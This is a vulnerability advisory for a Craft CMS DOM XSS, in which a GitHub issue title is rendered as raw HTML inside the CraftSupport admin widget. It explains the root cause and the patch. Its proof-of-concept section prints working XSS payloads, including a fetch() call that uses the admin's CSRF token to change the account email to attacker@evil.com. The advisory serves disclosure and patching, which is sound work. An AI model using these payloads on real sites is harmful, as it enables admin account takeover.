CVE-2026-55790: Craft CMS DOM XSS via Poisoned GitHub Issue Title in CraftSupport Widget
A Craft CMS admin's control panel can be hijacked by anyone with a GitHub account who plants a JavaScript payload in a craftcms/cms issue title, which the CraftSupport widget renders directly as raw H
The problem
The CraftSupport widget's 'Give feedback' screen calls the GitHub Issues API, takes the raw issue title from the JSON response, and injects it into the DOM using jQuery's `html:` option. This sets `innerHTML` directly, so any HTML in the title is parsed and executed by the browser.
Because GitHub returns issue titles as plain JSON strings with no HTML encoding, and because Craft adds no sanitization layer before rendering them, any attacker who can open a GitHub issue controls what script runs in the admin's session. The widget is only shown to admins, but the attacker needs no Craft account at all.
Proof of concept
A working proof-of-concept for CVE-2026-55790 in craftcms/cms, with the exact payload below.
<!-- 1. Attacker: open https://github.com/craftcms/cms/issues/new and set this as the issue title -->
<img src=x onerror=alert(document.domain)> cannot upload files
<!-- 2. Victim: open the Craft control panel dashboard,
open the CraftSupport widget, click "Give feedback",
and type "cannot upload files" in the search box.
Result: alert(document.domain) fires in the admin session.
For a real attack, replace alert() with a fetch() that
exfiltrates Craft.csrfTokenValue or sends an action request: -->
<img src=x onerror="fetch('/actions/users/save-user',{method:'POST',headers:{'X-CSRF-Token':Craft.csrfTokenValue},body:new URLSearchParams({userId:currentUser.id,email:'attacker@evil.com'})})"> cannot upload filesThe root cause is a single line in `FeedbackScreen` inside `CraftSupportWidget.js`. The `$('<a>', { html: ... + this.getSearchResultText(results[i]) })` call uses jQuery's `html:` shorthand, which maps directly to `innerHTML`. `getSearchResultText` returns `result.title` verbatim from the GitHub API response, so any HTML tags in the title are parsed as markup, not text.
The patch replaces the `html:` property with a safe alternative: the anchor element is built without the `html:` key, and the title text is appended with jQuery's `.text()` method (or Craft's own `escapeHtml` helper), which sets `textContent` instead of `innerHTML`.
That one change is the entire fix. The diff is small (+10/-4 lines) because only the result-link construction block needed changing.
The fix
Update `craftcms/cms` to 5.9.23 (or 4.17.16 for Craft 4 sites). Run `composer require craftcms/cms:^5.9.23` or use the Craft control panel updater. If an immediate update is not possible, disabling the CraftSupport widget on the dashboard removes the attack surface entirely.
Reported by angrybrad.
Related research
- highCVE-2026-55794CVE-2026-55794: Craft CMS Authenticated RCE via Twig Injection in Referer Header
- highCVE-2026-49981CVE-2026-49981: Twig Sandbox Filter/Tag/Function Allow-list Bypass via Cached Template
- high · 8.1CVE-2026-49286CVE-2026-49286: pontedilana/php-weasyprint PHAR Deserialization via Case-Insensitive Stream Wrapper Bypass
- highSolidInvoice: IDOR in Symfony LiveComponents Allows Cross-User API Token and Notification Settings Access